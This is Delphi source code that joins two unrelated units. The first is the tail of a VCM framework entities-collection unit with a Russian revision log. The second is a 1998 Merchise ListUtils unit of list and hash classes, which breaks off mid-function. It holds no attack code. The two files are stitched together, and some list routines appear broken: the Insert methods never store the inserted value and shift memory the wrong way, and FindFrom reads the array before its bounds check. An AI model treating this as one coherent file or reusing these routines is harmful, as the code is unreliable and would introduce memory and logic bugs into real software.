// 2. Если в панели инструментов встречаются операции с одинаковыми названиями, то им автоматически добавляется суффикс в виде названия сущности;
// 3. Появилась возможность указать, что контекстные операции сущности должны показываться в отдельном пункте меню;
// 3.
//
// Revision 1.27 2005/07/14 16:39:45 lulin
// - new behavior: в run-time получаем ID сущности и модуля по их имени из информации, содержащейся в MenuManager'е.
//
// Revision 1.26 2005/01/27 13:43:28 lulin
// - bug fix: не все контролы отвязывались от операций (CQ OIT5-11924).
//
// Revision 1.25 2005/01/21 11:10:05 lulin
// - new behavior: не сохраняем операции, привязанные только к контролам.
//
// Revision 1.24 2005/01/20 15:43:26 lulin
// - new behavior: рисуем * перед сущностями с внутренними операциями и ! перед сущностями без операций.
//
// Revision 1.23 2004/11/25 11:59:01 lulin
// - new behavior: теперь контролы имеют возможность публиковать свои методы GetTarget.
//
// Revision 1.22 2004/11/25 11:28:29 lulin
// - new unit: vcmTargetedControlsCollection.
// - new unit: vcmTargetedControlsCollectionItem.
//
// Revision 1.21 2004/11/25 11:06:02 lulin
// - new method: IvcmOperationsPublisher._PublishEntity.
//
// Revision 1.20 2004/11/25 10:44:11 lulin
// - rename type: _TvcmExecuteEvent -> TvcmControlExecuteEvent.
// - rename type: _TvcmTestEvent -> TvcmControlTestEvent.
// - new type: TvcmControlGetTargetEvent.
//
// Revision 1.19 2004/11/24 12:35:55 lulin
// - new behavior: обработчики операций от контролов теперь привязываются к операциям.
//
// Revision 1.18 2004/09/22 15:50:10 lulin
// - cleanup.
//
// Revision 1.17 2004/09/22 06:12:34 lulin
// - оптимизация - методу TvcmBaseCollection.FindItemByID придана память о последнем найденном элементе.
//
// Revision 1.16 2004/09/22 05:41:24 lulin
// - оптимизация - убраны код и данные, не используемые в Run-Time.
//
// Revision 1.15 2004/09/21 16:23:31 mmorozov
// new: возвращает интерфейс IvcmIdentifiedUserFriendlyControl;
//
// Revision 1.14 2004/09/13 09:25:32 lulin
// - bug fix.
//
// Revision 1.13 2004/09/11 11:55:47 lulin
// - cleanup: избавляемся от прямого использования деструкторов.
//
// Revision 1.12 2004/09/10 16:47:15 lulin
// - оптимизация - удалось избежать повторного пересоздания OpDef.
//
// Revision 1.11 2004/09/10 16:21:46 lulin
// - оптимизация - кешируем OpDef и передаем ссылку на OperationItem, а не на кучу параметров.
//
// Revision 1.10 2004/09/10 14:04:04 lulin
// - оптимизация - кешируем EntityDef и передаем ссылку на EntityItem, а не на кучу параметров.
//
// Revision 1.9 2004/02/27 19:22:16 law
// - bug fix: поправлена обработка ShortCut'ов для операций модулей.
// - bug fix: поправдена ДВОЙНАЯ обработка ShortCut'ов в случае редактора.
//
// Revision 1.8 2004/02/04 11:23:51 am
// change: property _ToolbarPos имеет теперь default vcm_tbpTop
//
// Revision 1.7 2004/02/02 13:30:26 am
// new: более одного тулбара у формы
//
// Revision 1.6 2004/01/29 15:13:23 law
// - bug fix: EntityFormDef брался от "неправильной" формы.
//
// Revision 1.5 2004/01/22 18:56:11 law
// - remove props: IvcmEntityDef.OwnerID, OwnerCaption.
// - new prop: IvcmEntityDef.OwnerDef.
//
// Revision 1.4 2004/01/22 17:31:20 law
// - new props: IvcmEntityDef.OnwerID, OnwerCaption.
//
// Revision 1.3 2003/11/30 12:12:29 law
// - cleanup: из централизованного хранилища убрано свойство Controls.
//
// Revision 1.2 2003/11/24 17:35:21 law
// - new method: TvcmCustomEntities._RegisterInRep.
//
// Revision 1.1 2003/11/19 11:38:24 law
// - new behavior: регистрируем все сущности и операции в MenuManager'е для дальнейшей централизации редактирования. Само редактирование пока не доделано.
//
{$Include vcmDefine.inc }
interface
{$IfNDef NoVCM}
uses
Classes,
vcmUserControls,
vcmInterfaces,
vcmExternalInterfaces,
vcmBase,
vcmBaseCollectionItem,
vcmBaseCollection,
vcmBaseOperationsCollection,
vcmControlsCollection,
vcmRepositoryEx,
vcmTargetedControlsCollection
;
type
TvcmGetTargetEvent = function (aControl : TComponent;
aX, aY : Integer;
out theTarget : IUnknown): Boolean of object;
TvcmBaseEntitiesCollectionItem = class(TvcmBaseCollectionItem)
{* Элемент коллекции сущностей. }
protected
// property fields
f_EntityID : Integer;
private
// property fields
{$IfDef DesignTimeLibrary}
//f_CategoryID : Integer;
{$EndIf DesignTimeLibrary}
//f_Category : AnsiString;
f_Operations : TvcmBaseOperationsCollection;
f_Controls : TvcmTargetedControlsCollection;
f_OnGetTarget : TvcmGetTargetEvent;
f_ToolbarPos : TvcmToolbarPos;
f_EntityDef : IvcmEntityDef;
f_Options : TvcmEntityOperationsOptions;
f_ContextMenuWeight : Integer;
protected
// property methods
function pm_GetOperations: TvcmBaseOperationsCollection;
procedure pm_SetOperations(aValue: TvcmBaseOperationsCollection);
function OperationsStored: Boolean;
virtual;
{-}
function pm_GetControls: TvcmTargetedControlsCollection;
procedure pm_SetControls(aValue: TvcmTargetedControlsCollection);
{-}
function ControlsStored: Boolean;
{-}
(* procedure pm_SetCategory(const aValue: AnsiString);
{-}*)
function pm_GetEntityDef: IvcmEntityDef;
virtual;
{-}
function pm_GetSupportedBy(aControl: TComponent): Boolean;
procedure pm_SetSupportedBy(aControl: TComponent; aValue : Boolean);
{-}
function pm_GetContextMenuWeight: Integer;
procedure pm_SetContextMenuWeight(aValue: Integer);
protected
// internal methods
function IDRep: TvcmRep;
virtual;
{-}
procedure ChangeName(const anOld, aNew: AnsiString);
override;
{* - вызывается при изменении имени. }
procedure ChangeCaption(const anOld, aNew: AnsiString);
override;
{* - вызывается при изменении пользовательского имени. }
procedure Cleanup;
override;
{-}
procedure BeforeAddToCache;
override;
{-}
public
// public methods
constructor Create(Collection: TCollection);
override;
{-}
function MakeID(const aName: AnsiString): Integer;
override;
{-}
class function GetOperationsCollectionClass: RvcmBaseCollection;
virtual;
{-}
procedure Assign(P: TPersistent);
override;
{-}
function GetID: Integer;
override;
{-}
function GetEntityForControl(aControl : TComponent;
aX, aY : Integer): IvcmEntity;
{-}
procedure Operation(aControl : TComponent;
const aTarget : IUnknown;
const anOperationID : TvcmControlID;
aMode : TvcmOperationMode;
const aParams : IvcmParams);
{* - выполняет операцию сущности. }
function IsFormItem: Boolean;
{-}
function SupportedExBy(aControl: TComponent): Integer;
{-}
function QueryInterface(const IID: TGUID; out Obj): HResult;
override;
{-}
{$IfDef DesignTimeLibrary}
function HasInternalOperations: Boolean;
{-}
function HasOnlyInternalOperations: Boolean;
{-}
{$EndIf DesignTimeLibrary}
procedure RegisterInRep;
{-}
procedure PublishEntity(const aControl : TComponent;
aGetTarget : TvcmControlGetTargetEvent);
{* - опубликовать сущность. }
procedure PublishFormEntity(aGetTarget : TvcmGetTargetEvent);
{* - опубликовать сущность. }
procedure PublishOp(const aControl : TComponent;
const anOperation : TvcmString;
anExecute : TvcmControlExecuteEvent;
aTest : TvcmControlTestEvent;
aGetState : TvcmControlGetStateEvent);
overload;
{* - опубликовать операцию. }
procedure PublishOp(const aControl : TComponent;
const anOperation : TvcmString;
anExecute : TvcmExecuteEvent;
aTest : TvcmControlTestEvent;
aGetState : TvcmControlGetStateEvent);
overload;
{* - опубликовать операцию. }
function IsItemCaptionUnique(const aItem: TvcmBaseCollectionItem): Boolean;
{* - поиск операции по названию. }
public
// public properties
property EntityID: Integer
read f_EntityID;
{* - идентификатор сущности. }
(* {$IfDef DesignTimeLibrary}
property CategoryID: Integer
read f_CategoryID;
{* - идентификатор категории сущности. }
{$EndIf DesignTimeLibrary}*)
property EntityDef: IvcmEntityDef
read pm_GetEntityDef;
{* - описатель сущности. }
property SupportedBy[aControl: TComponent]: Boolean
read pm_GetSupportedBy
write pm_SetSupportedBy;
{-}
property Controls: TvcmTargetedControlsCollection
read pm_GetControls
write pm_SetControls
stored ControlsStored;
{* - операции сущности. }
property Options: TvcmEntityOperationsOptions
read f_Options
write f_Options
default [];
{-}
{ property Category: AnsiString
read f_Category
write pm_SetCategory;}
{* - категория сущности. }
property OnGetTarget : TvcmGetTargetEvent
read f_OnGetTarget
write f_OnGetTarget;
{-}
property ContextMenuWeight : Integer
read pm_GetContextMenuWeight
write pm_SetContextMenuWeight;
{-}
published
// published properties
property Operations: TvcmBaseOperationsCollection
read pm_GetOperations
write pm_SetOperations
stored OperationsStored;
{* - операции сущности. }
property ToolbarPos: TvcmToolbarPos
read f_ToolbarPos
write f_ToolbarPos
default vcm_tbpTop;
{-}
end;//TvcmBaseEntitiesCollectionItem
{$EndIf NoVCM}
implementation
{$IfNDef NoVCM}
uses
SysUtils,
Forms,
vcmBaseEntityDef,
vcmBaseOperationsCollectionItem,
vcmOperationableIdentifiedUserFriendly,
vcmControlsCollectionItem,
vcmEntitiesCollectionItemEntity,
vcmForm,
vcmInternalConst
;
// start class TvcmBaseEntitiesCollectionItem
constructor TvcmBaseEntitiesCollectionItem.Create(Collection: TCollection);
//override;
{-}
begin
inherited;
f_ContextMenuWeight := 0;
f_Operations := TvcmBaseOperationsCollection(GetOperationsCollectionClass.Create(Self));
f_Controls := TvcmTargetedControlsCollection.Create(Self);
f_ToolbarPos := vcm_tbpTop;
end;
procedure TvcmBaseEntitiesCollectionItem.Cleanup;
//override;
{-}
var
l_OpHolder : IvcmOperationsHolder;
begin
f_Options := [];
if Supports(f_EntityDef, IvcmOperationsHolder, l_OpHolder) then
try
l_OpHolder.ClearOps;
finally
l_OpHolder := nil;
end;//try..finally
f_EntityDef := nil;
FreeAndNil(f_Operations);
FreeAndNil(f_Controls);
// - это надо ПОЗЖЕ операций !!!
inherited;
end;
procedure TvcmBaseEntitiesCollectionItem.BeforeAddToCache;
//override;
{-}
begin
inherited;
f_EntityID := 0;
{$IfDef DesignTimeLibrary}
//f_CategoryID := 0;
{$EndIf DesignTimeLibrary}
//f_Category := '';
f_OnGetTarget := nil;
end;
class function TvcmBaseEntitiesCollectionItem.GetOperationsCollectionClass: RvcmBaseCollection;
//virtual;
{-}
begin
Result := TvcmBaseOperationsCollection;
end;
procedure TvcmBaseEntitiesCollectionItem.Assign(P: TPersistent);
//override;
{-}
begin
inherited;
if (P Is TvcmBaseEntitiesCollectionItem) then begin
Operations := TvcmBaseEntitiesCollectionItem(P).Operations;
Controls := TvcmBaseEntitiesCollectionItem(P).Controls;
end;//P Is TvcmBaseEntitiesCollectionItem
end;
function TvcmBaseEntitiesCollectionItem.SupportedExBy(aControl: TComponent): Integer;
{-}
var
l_Index : Integer;
begin
Result := -1;
with Controls do
for l_Index := 0 to Pred(Count) do begin
with TvcmControlsCollectionItem(Items[l_Index]) do
if (Control = aControl) then begin
Result := l_Index;
break;
end;//Control = aControl
end;//for l_Index
end;
function TvcmBaseEntitiesCollectionItem.QueryInterface(const IID: TGUID; out Obj): HResult;
//override;
{-}
begin
if IsEqualGUID(IID, IvcmUserFriendlyControl) then
begin
Result := S_Ok;
IvcmUserFriendlyControl(Obj) := EntityDef;
end
else
if IsEqualGUID(IID, IvcmIdentifiedUserFriendlyControl) then
begin
Result := S_Ok;
IvcmIdentifiedUserFriendlyControl(Obj) := EntityDef;
end
else
if IsEqualGUID(IID, IvcmEntityDef) then
begin
Result := S_Ok;
IvcmEntityDef(Obj) := EntityDef;
end
else
Result := inherited QueryInterface(IID, Obj);
end;
procedure TvcmBaseEntitiesCollectionItem.RegisterInRep;
{-}
begin
if (Operations <> nil) then
Operations.RegisterInRep;
end;
{$IfDef DesignTimeLibrary}
function TvcmBaseEntitiesCollectionItem.HasInternalOperations: Boolean;
{-}
var
l_Index : Integer;
begin
Result := false;
if (Operations <> nil) then
for l_Index := 0 to Pred(Operations.Count) do
if (TvcmBaseOperationsCollectionItem(Operations.Items[l_Index]).OperationType in
vcm_InternalOperations) then
begin
Result := true;
break;
end;//..vcm_InternalOperations..
end;
function TvcmBaseEntitiesCollectionItem.HasOnlyInternalOperations: Boolean;
{-}
var
l_Index : Integer;
begin
Result := true;
if (Operations <> nil) then
for l_Index := 0 to Pred(Operations.Count) do
if not (TvcmBaseOperationsCollectionItem(Operations.Items[l_Index]).OperationType in
vcm_InternalOperations) then
begin
Result := false;
break;
end;//..vcm_InternalOperations..
end;
{$EndIf DesignTimeLibrary}
procedure TvcmBaseEntitiesCollectionItem.PublishEntity(const aControl : TComponent;
aGetTarget : TvcmControlGetTargetEvent);
{* - опубликовать сущность. }
begin
SupportedBy[aControl] := true;
Controls.PublishEntity(aControl, aGetTarget);
end;
procedure TvcmBaseEntitiesCollectionItem.PublishFormEntity(aGetTarget : TvcmGetTargetEvent);
{* - опубликовать сущность. }
begin
OnGetTarget := aGetTarget;
end;
function TvcmBaseEntitiesCollectionItem.IsItemCaptionUnique(const aItem: TvcmBaseCollectionItem): Boolean;
{* - поиск операции по названию. }
var
l_Index : Integer;
begin
Result := True;
for l_Index := 0 to Pred(f_Operations.Count) do
if (aItem <> f_Operations.Items[l_Index]) and
(f_Operations.Items[l_Index].Caption = aItem.Caption) then
begin
Result := False;
Break;
end;//if f_Operations.Items[l_Index].
end;//IsUniqueOperationb
procedure TvcmBaseEntitiesCollectionItem.PublishOp(const aControl : TComponent;
const anOperation : TvcmString;
anExecute : TvcmControlExecuteEvent;
aTest : TvcmControlTestEvent;
aGetState : TvcmControlGetStateEvent);
{* - опубликовать операцию. }
begin
if (aControl <> nil) then
if not (aControl Is TvcmForm) then
SupportedBy[aControl] := true;
f_Operations.PublishOp(aControl, anOperation, anExecute, aTest, aGetState);
end;
procedure TvcmBaseEntitiesCollectionItem.PublishOp(const aControl : TComponent;
const anOperation : TvcmString;
anExecute : TvcmExecuteEvent;
aTest : TvcmControlTestEvent;
aGetState : TvcmControlGetStateEvent);
//overload;
{* - опубликовать операцию. }
begin
if not (aControl Is TvcmForm) then
SupportedBy[aControl] := true;
f_Operations.PublishOpWithResult(aControl, anOperation, anExecute, aTest, aGetState);
end;
function TvcmBaseEntitiesCollectionItem.pm_GetSupportedBy(aControl: TComponent): Boolean;
{-}
begin
with Controls do
if (Controls.Count = 0) AND (aControl = nil) then
Result := true
else
Result := (SupportedExBy(aControl) >= 0);
end;
procedure TvcmBaseEntitiesCollectionItem.pm_SetSupportedBy(aControl: TComponent; aValue : Boolean);
{-}
var
l_Index : Integer;
begin
l_Index := SupportedExBy(aControl);
if (aValue) then
begin
if (l_Index < 0) then
TvcmControlsCollectionItem(Controls.Add).Control := aControl;
end//aValue
else
begin
if (Operations <> nil) then
Operations.UnlinkControl(aControl);
if (l_Index >= 0) then
Controls.Delete(l_Index);
end;//aValue
end;
function TvcmBaseEntitiesCollectionItem.pm_GetContextMenuWeight: Integer;
begin
Result := f_ContextMenuWeight;
end;
procedure TvcmBaseEntitiesCollectionItem.pm_SetContextMenuWeight(aValue: Integer);
begin
f_ContextMenuWeight := aValue;
end;
function TvcmBaseEntitiesCollectionItem.GetID: Integer;
//override;
{-}
begin
Result := EntityID;
end;
function TvcmBaseEntitiesCollectionItem.GetEntityForControl(aControl : TComponent;
aX, aY : Integer): IvcmEntity;
{-}
var
l_Target : IUnknown;
function _MakeEntity: IvcmEntity;
var
l_Entity : TvcmEntitiesCollectionItemEntity;
begin//_MakeEntity
if (l_Target = nil) then
l_Entity := TvcmEntitiesCollectionItemEntity.Create(aControl, Self)
else
l_Entity := TvcmEntitiesCollectionItemTargetedEntity.Create(aControl, Self, l_Target);
try
Result := l_Entity;
finally
vcmFree(l_Entity);
end;//try..finally
end;//_MakeEntity
begin
Result := nil;
if SupportedBy[aControl] then
begin
if ((aX <> High(aX)) OR (aY <> High(aY))) then
begin
if (Controls <> nil) AND
Controls.GetTargetForControl(aControl, Point(aX, aY), l_Target) then
begin
if (l_Target <> nil) then
Result := _MakeEntity;
Exit;
end
else
if Assigned(f_OnGetTarget) then
begin
if f_OnGetTarget(aControl, aX, aY, l_Target) then
begin
if (l_Target <> nil) then
Result := _MakeEntity;
Exit;
end;//f_OnGetTarget
end;//Assigned(f_OnGetTarget)
end;//aX <> High(aX)
Result := _MakeEntity;
end;//SupportedBy(aControl)
end;
procedure TvcmBaseEntitiesCollectionItem.Operation(aControl : TComponent;
const aTarget : IUnknown;
const anOperationID : TvcmControlID;
aMode : TvcmOperationMode;
const aParams : IvcmParams);
{* - выполняет операцию сущности. }
begin
if (Operations <> nil) then
Operations.Operation(aControl, aTarget, anOperationID, aMode, aParams);
end;
function TvcmBaseEntitiesCollectionItem.IsFormItem: Boolean;
{-}
begin
Result := Controls.LinkedToForm;
end;
function TvcmBaseEntitiesCollectionItem.pm_GetOperations: TvcmBaseOperationsCollection;
{-}
begin
Result := f_Operations;
end;
procedure TvcmBaseEntitiesCollectionItem.pm_SetOperations(aValue: TvcmBaseOperationsCollection);
{-}
begin
f_Operations.Assign(aValue);
end;
function TvcmBaseEntitiesCollectionItem.OperationsStored: Boolean;
//virtual;
{-}
begin
Result := (Operations <> nil) AND (Operations.Count > 0);
end;
function TvcmBaseEntitiesCollectionItem.pm_GetControls: TvcmTargetedControlsCollection;
{-}
begin
Result := f_Controls;
end;
procedure TvcmBaseEntitiesCollectionItem.pm_SetControls(aValue: TvcmTargetedControlsCollection);
{-}
begin
f_Controls.Assign(aValue);
end;
function TvcmBaseEntitiesCollectionItem.ControlsStored: Boolean;
{-}
begin
Result := (f_Controls <> nil) AND (f_Controls.Count > 0);
end;
(*procedure TvcmBaseEntitiesCollectionItem.pm_SetCategory(const aValue: AnsiString);
{-}
begin
if (f_Category <> aValue) then begin
f_Category := aValue;
{$IfDef DesignTimeLibrary}
f_CategoryID := vcmGetID(vcm_repEntityCategory, aValue);
{$EndIf DesignTimeLibrary}
end;//f_Category <> aValue
end;*)
function TvcmBaseEntitiesCollectionItem.pm_GetEntityDef: IvcmEntityDef;
{-}
begin
if (f_EntityDef = nil) then
f_EntityDef := TvcmBaseEntityDef.Make(Self);
Result := f_EntityDef;
end;
function TvcmBaseEntitiesCollectionItem.IDRep: TvcmRep;
//virtual;
{-}
begin
Result := vcm_repEntity;
end;
function TvcmBaseEntitiesCollectionItem.MakeID(const aName: AnsiString): Integer;
//override;
{-}
begin
Result := vcmGetID(IDRep, aName);
end;
procedure TvcmBaseEntitiesCollectionItem.ChangeName(const anOld, aNew: AnsiString);
//override;
{* - вызывается при изменении имени. Для перекрытия в потомках. }
begin
inherited;
f_EntityID := MakeID(aNew);
end;
procedure TvcmBaseEntitiesCollectionItem.ChangeCaption(const anOld, aNew: AnsiString);
//override;
{* - вызывается при изменении пользовательского имени. }
begin
inherited;
{$IfDef DesignTimeLibrary}
vcmGetID(vcm_repEntityCaption, aNew);
{$EndIf DesignTimeLibrary}
end;
{$EndIf NoVCM}
end.
|
unit ListUtils;
// Copyright (c) 1998 Jorge Romero Gomez, Merchise.
interface
uses
SysUtils, MemUtils;
type
PPointerArray = ^TPointerArray;
TPointerArray = array[0..65535] of pointer;
type
TUnknownList =
class
protected
fList : PPointerArray;
fCount : integer;
fCapacity : integer;
fHoles : integer;
fItemsOwned : boolean;
fAutoPack : boolean;
procedure SetCapacity( Value : integer ); virtual;
procedure ReallocItems( OldCount, NewCount : integer ); virtual;
procedure MoveItems( OldIndx, NewIndx, Count : integer ); virtual;
public
constructor Create; virtual;
destructor Destroy; override;
procedure Delete( Indx : integer ); virtual; abstract;
procedure Move( OldIndx, NewIndx : integer ); virtual; abstract;
procedure Exchange( Indx1, Indx2 : integer ); virtual;
procedure Clear;
procedure Pack; virtual;
procedure Grow;
procedure AssertCapacity( Value : integer );
function FindFrom( Indx : integer; Value : pointer ) : integer;
function SkipFrom( Indx : integer; Value : pointer ) : integer;
property Capacity : integer read fCapacity write SetCapacity;
property Count : integer read fCount;
property List : PPointerArray read fList;
property AutoPack : boolean read fAutoPack write fAutoPack default false;
property ItemsOwned : boolean read fItemsOwned write fItemsOwned default true;
end;
type
TIntegerList =
class( TUnknownList )
protected
function GetItem( Indx : integer ) : integer;
procedure SetItem( Indx : integer; Value : integer );
public
property Items[ Indx : integer ] : integer read GetItem write SetItem; default;
procedure Pack; override;
procedure Move( OldIndx, NewIndx : integer ); override;
procedure Delete( Indx : integer ); override;
procedure Remove( Value : integer );
function Add( Value : integer ) : integer;
procedure Insert( Indx : integer; Value : integer );
function IndexOf( Value : integer ) : integer;
end;
type
TPointerList =
class( TUnknownList )
protected
function GetItem( Indx : integer ) : pointer;
procedure SetItem( Indx : integer; Value : pointer );
public
property Items[ Indx : integer ] : pointer read GetItem write SetItem; default;
procedure Move( OldIndx, NewIndx : integer ); override;
procedure Delete( Indx : integer ); override;
procedure Remove( Value : pointer );
function Add( Value : pointer ) : integer;
procedure Insert( Indx : integer; Value : pointer );
function IndexOf( Value : pointer ) : integer;
end;
type
TObjectList =
class( TUnknownList )
protected
function GetItem( Indx : integer ) : TObject;
procedure SetItem( Indx : integer; Value : TObject );
public
property Items[ Indx : integer ] : TObject read GetItem write SetItem; default;
procedure Move( OldIndx, NewIndx : integer ); override;
procedure Delete( Indx : integer ); override;
procedure Remove( Value : TObject );
function Add( Value : TObject ) : integer;
procedure Insert( Indx : integer; Value : TObject );
function IndexOf( Value : TObject ) : integer;
end;
type
TInterfaceList =
class( TUnknownList )
protected
function GetItem( Indx : integer ) : IUnknown;
procedure SetItem( Indx : integer; const Value : IUnknown );
public
property Items[ Indx : integer ] : IUnknown read GetItem write SetItem; default;
procedure Move( OldIndx, NewIndx : integer ); override;
procedure Delete( Indx : integer ); override;
procedure Remove( const Value : IUnknown );
function Add( const Value : IUnknown ) : integer;
procedure Insert( Indx : integer; const Value : IUnknown );
function IndexOf( const Value : IUnknown ) : integer;
end;
type
TStrList =
class( TUnknownList )
protected
function GetItem( Indx : integer ) : string;
procedure SetItem( Indx : integer; const Value : string );
public
property Items[ Indx : integer ] : string read GetItem write SetItem; default;
procedure Move( OldIndx, NewIndx : integer ); override;
procedure Delete( Indx : integer ); override;
procedure Remove( const Value : string );
function Add( const Value : string ) : integer;
procedure Insert( Indx : integer; const Value : string );
function IndexOf( const Value : string ) : integer;
end;
// Hashed Lists
type
THashedList =
class( TUnknownList )
protected
fValues : PPointerArray;
procedure ReallocItems( OldCount, NewCount : integer ); override;
procedure MoveItems( OldIndx, NewIndx, Count : integer ); override;
function GetName( Indx : integer ) : string;
procedure SetName( Indx : integer; const Value : string );
public
property Names[ Indx : integer ] : string read GetName write SetName;
procedure Move( OldIndx, NewIndx : integer ); override;
constructor Create; override;
destructor Destroy; override;
function IndexOf( const Name : string ) : integer;
procedure Remove( const Name : string ); virtual;
end;
TPointerHash =
class( THashedList )
protected
function GetItem( const Name : string ) : pointer;
procedure SetItem( const Name : string; Value : pointer );
function GetValue( Indx : integer ) : pointer;
procedure SetValue( Indx : integer; Value : pointer );
public
property Items[ const Name : string ] : pointer read GetItem write SetItem; default;
property Values[ Indx : integer ] : pointer read GetValue write SetValue;
procedure Delete( Indx : integer ); override;
procedure RemoveValue( Value : pointer );
function Add( const Name : string; Value : pointer ) : integer;
end;
TObjectHash =
class( THashedList )
protected
function GetItem( const Name : string ) : TObject;
procedure SetItem( const Name : string; Value : TObject );
function GetValue( Indx : integer ) : TObject;
procedure SetValue( Indx : integer; Value : TObject );
public
property Items[ const Name : string ] : TObject read GetItem write SetItem; default;
property Values[ Indx : integer ] : TObject read GetValue write SetValue;
procedure Delete( Indx : integer ); override;
procedure RemoveValue( Value : TObject );
function Add( const Name : string; Value : TObject ) : integer;
end;
implementation
// TUnknownList
procedure TUnknownList.AssertCapacity( Value : integer );
var
NewCap : integer;
begin
if Value > Capacity
then
begin
if AutoPack and ( fHoles > Capacity div 4 ) and ( fHoles > 10 )
then Pack;
if Capacity > 64
then NewCap := Capacity + Capacity div 4
else
if Capacity > 8
then NewCap := Capacity + 16
else NewCap := Capacity + 4;
if NewCap < Value
then SetCapacity( Value )
else SetCapacity( NewCap );
end;
end;
procedure TUnknownList.ReallocItems( OldCount, NewCount : integer );
var
i : integer;
NewSize : integer;
begin
NewSize := NewCount * sizeof( fList[0] );
if OldCount = 0
then
begin
GetMem( fList, NewSize );
fillchar( fList^, NewSize, 0 );
end
else
if NewCount > OldCount
then
begin
ReallocMem( fList, NewSize );
fillchar( fList[OldCount], NewSize - sizeof( fList[0] ) * OldCount, 0 );
end
else
begin
for i := OldCount downto NewCount do
Delete( i );
ReallocMem( fList, NewSize );
end;
end;
procedure TUnknownList.SetCapacity( Value : integer );
begin
if Value <> Capacity
then
begin
if fList = nil
then ReallocItems( 0, Value )
else ReallocItems( Capacity, Value );
fCapacity := Value;
end;
end;
procedure TUnknownList.Grow;
begin
AssertCapacity( Capacity + 1 );
end;
function TUnknownList.FindFrom( Indx : integer; Value : pointer ) : integer;
begin
Result := Indx;
while ( fList[Result] <> Value ) and ( Result < Count ) do
inc( Result );
end;
function TUnknownList.SkipFrom( Indx : integer; Value : pointer ) : integer;
begin
Result := Indx;
while ( fList[Result] = Value ) and ( Result < Count ) do
inc( Result );
end;
procedure TUnknownList.Exchange( Indx1, Indx2 : integer );
var
Tmp : pointer;
begin
Tmp := fList[Indx1];
fList[Indx1] := fList[Indx2];
fList[Indx2] := Tmp;
end;
procedure TUnknownList.Clear;
var
i : integer;
PackBak : boolean;
begin
PackBak := AutoPack;
AutoPack := false;
for i := Count - 1 downto 0 do
Delete( i );
AutoPack := PackBak;
end;
constructor TUnknownList.Create;
begin
inherited;
fItemsOwned := true;
end;
destructor TUnknownList.Destroy;
begin
Clear;
FreePtr( fList );
inherited;
end;
procedure TUnknownList.MoveItems( OldIndx, NewIndx, Count : integer );
begin
System.Move( fList[OldIndx], fList[NewIndx], Count * sizeof( fList[0] ) );
end;
procedure TUnknownList.Pack;
var
First, Last, Next, ItemCount : integer;
begin
if fHoles <> 0
then
begin // Do something
if fHoles < fCount
then
begin
Next := 0;
First := FindFrom( 0, nil );
repeat
Next := FindFrom( Next, nil );
Last := SkipFrom( Next, nil );
if Last < Count
then
begin
Next := FindFrom( Last, nil ) - 1;
ItemCount := Next - Last + 1;
MoveItems( Last, First, ItemCount );
inc( First, ItemCount );
end
else Next := Last;
until Next >= Count - 1;
fCount := First;
end
else fCount := 0;
fHoles := 0;
end;
end;
// TPointerList
procedure TPointerList.Move( OldIndx, NewIndx : integer );
begin
if Assigned( fList[NewIndx] ) and ( NewIndx < OldIndx ) // Adjust the shift that occurs if item is
then inc( OldIndx ); // inserted before the
Insert( NewIndx, Items[OldIndx] );
Delete( OldIndx );
end;
function TPointerList.Add( Value : pointer ) : integer;
begin
AssertCapacity( Count + 1 );
Result := Count;
fList[Count] := Value;
inc( fCount );
end;
procedure TPointerList.Delete( Indx : integer );
begin
assert( (Indx >= 0) and (Indx < Count), 'Invalid index in TPointerList.Delete' );
if ItemsOwned
then FreePtr( fList[Indx] );
if Indx < fCount - 1
then inc( fHoles )
else dec( fCount );
end;
function TPointerList.GetItem( Indx : integer ) : pointer;
begin
assert( (Indx >= 0) and (Indx < Capacity), 'Indx out of range in ListUtils.TPointerList.GetItem' );
Result := fList[Indx];
end;
procedure TPointerList.SetItem( Indx : integer; Value : pointer );
begin
assert( (Indx >= 0) and (Indx < Capacity), 'Indx out of range in ListUtils.TPointerList.SetItem' );
if Count < Indx
then fCount := Indx;
fList[Indx] := Value;
end;
procedure TPointerList.Remove( Value : pointer );
begin
Delete( IndexOf( Value ) );
end;
procedure TPointerList.Insert( Indx : integer; Value : pointer );
begin
assert( (Indx >= 0) and (Indx <= Count), 'Invalid index in TPointerList.Insert' );
if fList[Indx] = nil
then Items[Indx] := Value
else
begin
AssertCapacity( Count + 1 ); // Make sure there's space for one more
System.Move( fList[Indx + 1], fList[Indx], ( Count - Indx + 1 ) * sizeof( fList[0] ) );
end;
end;
function TPointerList.IndexOf( Value : pointer ) : integer;
var
i : integer;
begin
i := 0;
while ( i < Count ) and (Items[i] <> Value) do
inc( i );
if i < Count
then Result := i
else Result := -1;
end;
// TObjectList
procedure TObjectList.Move( OldIndx, NewIndx : integer );
begin
if Assigned( fList[NewIndx] ) and ( NewIndx < OldIndx ) // Adjust the shift that occurs if item is
then inc( OldIndx ); // inserted before the
Insert( NewIndx, Items[OldIndx] );
Delete( OldIndx );
end;
function TObjectList.Add( Value : TObject ) : integer;
begin
AssertCapacity( Count + 1 );
Result := Count;
fList[Count] := Value;
inc( fCount );
end;
procedure TObjectList.Delete( Indx : integer );
begin
assert( (Indx >= 0) and (Indx < Count), 'Invalid index in TObjectList.Delete' );
if ItemsOwned
then TObject( fList[Indx] ).Free;
if Indx < fCount - 1
then inc( fHoles )
else dec( fCount );
end;
function TObjectList.GetItem( Indx : integer ) : TObject;
begin
assert( (Indx >= 0) and (Indx < Capacity), 'Indx out of range in ListUtils.TObjectList.GetItem' );
Result := fList[Indx];
end;
procedure TObjectList.SetItem( Indx : integer; Value : TObject );
begin
assert( (Indx >= 0) and (Indx < Capacity), 'Indx out of range in ListUtils.TObjectList.SetItem' );
if Count < Indx
then fCount := Indx;
fList[Indx] := Value;
end;
procedure TObjectList.Remove( Value : TObject );
begin
Delete( IndexOf( Value ) );
end;
procedure TObjectList.Insert( Indx : integer; Value : TObject );
begin
assert( (Indx >= 0) and (Indx <= Count), 'Invalid index in TObjectList.Insert' );
if fList[Indx] = nil
then Items[Indx] := Value
else
begin
AssertCapacity( Count + 1 ); // Make sure there's space for one more
System.Move( fList[Indx + 1], fList[Indx], ( Count - Indx + 1 ) * sizeof( fList[0] ) );
end;
end;
function TObjectList.IndexOf( Value : TObject ) : integer;
var
i : integer;
begin
i := 0;
while ( i < Count ) and (Items[i] <> Value) do
inc( i );
if i < Count
then Result := i
else Result := -1;
end;
// TStrList
procedure TStrList.Move( OldIndx, NewIndx : integer );
begin
if Assigned( fList[NewIndx] ) and ( NewIndx < OldIndx ) // Adjust the shift that occurs if item is
then inc( OldIndx ); // inserted before the
Insert( NewIndx, Items[OldIndx] );
Delete( OldIndx );
end;
function TStrList.Add( const Value : string ) : integer;
